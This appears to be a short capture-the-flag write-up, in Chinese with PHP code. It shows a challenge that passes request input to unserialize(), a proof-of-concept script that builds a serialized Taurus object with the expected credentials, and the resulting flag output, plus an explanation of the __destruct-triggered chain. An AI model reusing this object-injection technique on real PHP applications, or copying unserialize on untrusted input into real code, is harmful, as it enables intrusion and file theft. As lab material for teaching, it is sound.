源码

<?php

class Taurus
{
var $user;
var $pass;
var $email;

public function __construct($user, $pass, $email)
{
$this->user = $user;
$this->pass = $pass;
$this->email = $email;
}

function __destruct()
{
printf("%s\n", __METHOD__);
$this->register();
}

function register()
{
printf("%s\n", __METHOD__);
if ($this->user === "lutalica" && $this->pass === "P@ssw0rd" && $this->email === '231452327@ti.me') {
echo file_get_contents('/flag');
}
}

}

if (isset($_REQUEST['Taurus'])) {
unserialize($_REQUEST['Taurus']);
} else echo "系统检测发现该处漏洞,进行攻击测试\n";

POC

<?php

class Taurus
{
var $user;
var $pass;
var $email;

public function __construct($user, $pass, $email)
{
$this->user = $user;
$this->pass = $pass;
$this->email = $email;
}
}

echo serialize(new Taurus("lutalica", "P@ssw0rd", "231452327@ti.me"));
O:6:"Taurus":3:{s:4:"user";s:8:"lutalica";s:4:"pass";s:8:"P@ssw0rd";s:5:"email";s:15:"231452327@ti.me";}

传入payload ,得到

Taurus::__destruct
Taurus::register
Sonder{135d79-ba631f65200a5f-870225232871-7af1e740}

payload 被反序列化,触发Taurus 类的 destruct 方法,进而执行register() 方法,最终得以执行file_get_contents('/flag') 得到文件/flag 的内容